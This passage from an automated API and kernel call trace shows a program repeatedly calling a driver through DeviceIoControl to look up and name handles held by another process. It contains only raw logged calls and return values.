ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.730] ObfDereferenceObject (Object=0xfffffa8003414070) returned 0x3 [0136.731] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.731] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.731] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.731] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0136.731] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.731] PsAcquireProcessExitSynchronization () returned 0x0 [0136.731] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.731] ObReferenceObjectByHandle (in: Handle=0x698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003437350, HandleInformation=0x0) returned 0x0 [0136.731] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.731] PsReleaseProcessExitSynchronization () returned 0x2 [0136.731] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.731] ObQueryNameString (in: Object=0xfffffa8003437350, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.731] ObfDereferenceObject (Object=0xfffffa8003437350) returned 0x1 [0136.731] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.731] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.731] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.731] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0136.731] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.731] PsAcquireProcessExitSynchronization () returned 0x0 [0136.731] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.731] ObReferenceObjectByHandle (in: Handle=0x6a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f7dad0, HandleInformation=0x0) returned 0x0 [0136.731] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.731] PsReleaseProcessExitSynchronization () returned 0x2 [0136.731] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.731] ObQueryNameString (in: Object=0xfffffa8002f7dad0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.731] ObfDereferenceObject (Object=0xfffffa8002f7dad0) returned 0x2 [0136.731] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.731] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.731] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.731] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0136.731] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.732] PsAcquireProcessExitSynchronization () returned 0x0 [0136.732] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.732] ObReferenceObjectByHandle (in: Handle=0x710, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003436c70, HandleInformation=0x0) returned 0x0 [0136.732] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.732] PsReleaseProcessExitSynchronization () returned 0x2 [0136.732] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.732] ObQueryNameString (in: Object=0xfffffa8003436c70, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.732] ObfDereferenceObject (Object=0xfffffa8003436c70) returned 0x1 [0136.732] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.732] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.732] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.732] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0136.732] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.732] PsAcquireProcessExitSynchronization () returned 0x0 [0136.732] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.732] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003436f20, HandleInformation=0x0) returned 0x0 [0136.732] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.732] PsReleaseProcessExitSynchronization () returned 0x2 [0136.732] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.732] ObQueryNameString (in: Object=0xfffffa8003436f20, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.732] ObfDereferenceObject (Object=0xfffffa8003436f20) returned 0x1 [0136.732] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.732] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.732] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.732] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0136.732] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.732] PsAcquireProcessExitSynchronization () returned 0x0 [0136.732] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.732] ObReferenceObjectByHandle (in: Handle=0x71c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003437510, HandleInformation=0x0) returned 0x0 [0136.732] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.732] PsReleaseProcessExitSynchronization () returned 0x2 [0136.732] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.732] ObQueryNameString (in: Object=0xfffffa8003437510, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.732] ObfDereferenceObject (Object=0xfffffa8003437510) returned 0x1 [0136.732] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.733] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.733] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.733] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0136.733] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.733] PsAcquireProcessExitSynchronization () returned 0x0 [0136.733] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.734] ObReferenceObjectByHandle (in: Handle=0x798, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037852a0, HandleInformation=0x0) returned 0x0 [0136.734] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.734] PsReleaseProcessExitSynchronization () returned 0x2 [0136.734] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.734] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.734] ObfDereferenceObject (Object=0xfffffa80037852a0) returned 0x1 [0136.734] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.734] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.734] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.734] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.734] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.734] PsAcquireProcessExitSynchronization () returned 0x0 [0136.734] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.734] ObReferenceObjectByHandle (in: Handle=0x7a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800343b9c0, HandleInformation=0x0) returned 0x0 [0136.734] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.734] PsReleaseProcessExitSynchronization () returned 0x2 [0136.734] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.734] ObQueryNameString (in: Object=0xfffffa800343b9c0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.734] ObfDereferenceObject (Object=0xfffffa800343b9c0) returned 0x1 [0136.734] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.734] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.734] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.734] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0136.734] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.734] PsAcquireProcessExitSynchronization () returned 0x0 [0136.734] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.734] ObReferenceObjectByHandle (in: Handle=0x904, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003447950, HandleInformation=0x0) returned 0x0 [0136.734] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.734] PsReleaseProcessExitSynchronization () returned 0x2 [0136.734] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.734] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.734] ObfDereferenceObject (Object=0xfffffa8003447950) returned 0x12 [0136.734] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.735] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.735] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.735] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0136.735] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.735] PsAcquireProcessExitSynchronization () returned 0x0 [0136.735] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.735] ObReferenceObjectByHandle (in: Handle=0x908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800344bbc0, HandleInformation=0x0) returned 0x0 [0136.735] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.735] PsReleaseProcessExitSynchronization () returned 0x2 [0136.735] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.735] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.735] ObfDereferenceObject (Object=0xfffffa800344bbc0) returned 0x12 [0136.735] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.735] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.735] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.735] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0136.735] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.735] PsAcquireProcessExitSynchronization () returned 0x0 [0136.735] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.735] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800344b740, HandleInformation=0x0) returned 0x0 [0136.735] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.735] PsReleaseProcessExitSynchronization () returned 0x2 [0136.735] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.735] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.735] ObfDereferenceObject (Object=0xfffffa800344b740) returned 0x12 [0136.735] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.735] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.735] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.735] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0136.735] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.735] PsAcquireProcessExitSynchronization () returned 0x0 [0136.735] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.735] ObReferenceObjectByHandle (in: Handle=0x910, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f80070, HandleInformation=0x0) returned 0x0 [0136.735] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.735] PsReleaseProcessExitSynchronization () returned 0x2 [0136.736] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.736] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.736] ObfDereferenceObject (Object=0xfffffa8002f80070) returned 0xb [0136.736] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.736] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.736] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.736] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0136.736] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.736] PsAcquireProcessExitSynchronization () returned 0x0 [0136.736] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.736] ObReferenceObjectByHandle (in: Handle=0x914, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f80c00, HandleInformation=0x0) returned 0x0 [0136.736] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.736] PsReleaseProcessExitSynchronization () returned 0x2 [0136.736] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.736] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.736] ObfDereferenceObject (Object=0xfffffa8002f80c00) returned 0x12 [0136.736] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.736] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.736] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.736] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0136.736] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.736] PsAcquireProcessExitSynchronization () returned 0x0 [0136.736] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.736] ObReferenceObjectByHandle (in: Handle=0x93c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0136.736] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.736] PsReleaseProcessExitSynchronization () returned 0x2 [0136.736] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.736] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.736] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0136.736] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.737] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.737] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.737] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.737] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.737] PsAcquireProcessExitSynchronization () returned 0x0 [0136.737] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.737] ObReferenceObjectByHandle (in: Handle=0x9d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002fbc4d0, HandleInformation=0x0) returned 0x0 [0136.737] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.737] PsReleaseProcessExitSynchronization () returned 0x2 [0136.737] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.737] ObQueryNameString (in: Object=0xfffffa8002fbc4d0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.737] ObfDereferenceObject (Object=0xfffffa8002fbc4d0) returned 0x1 [0136.737] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.737] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.737] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.737] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.737] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.737] PsAcquireProcessExitSynchronization () returned 0x0 [0136.737] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.737] ObReferenceObjectByHandle (in: Handle=0x9d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030b3630, HandleInformation=0x0) returned 0x0 [0136.737] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.737] PsReleaseProcessExitSynchronization () returned 0x2 [0136.737] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.737] ObQueryNameString (in: Object=0xfffffa80030b3630, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.737] ObfDereferenceObject (Object=0xfffffa80030b3630) returned 0x1 [0136.737] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.737] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.737] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.737] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.737] PsLookupProcessByProcessId (in: ProcessId=0x370, 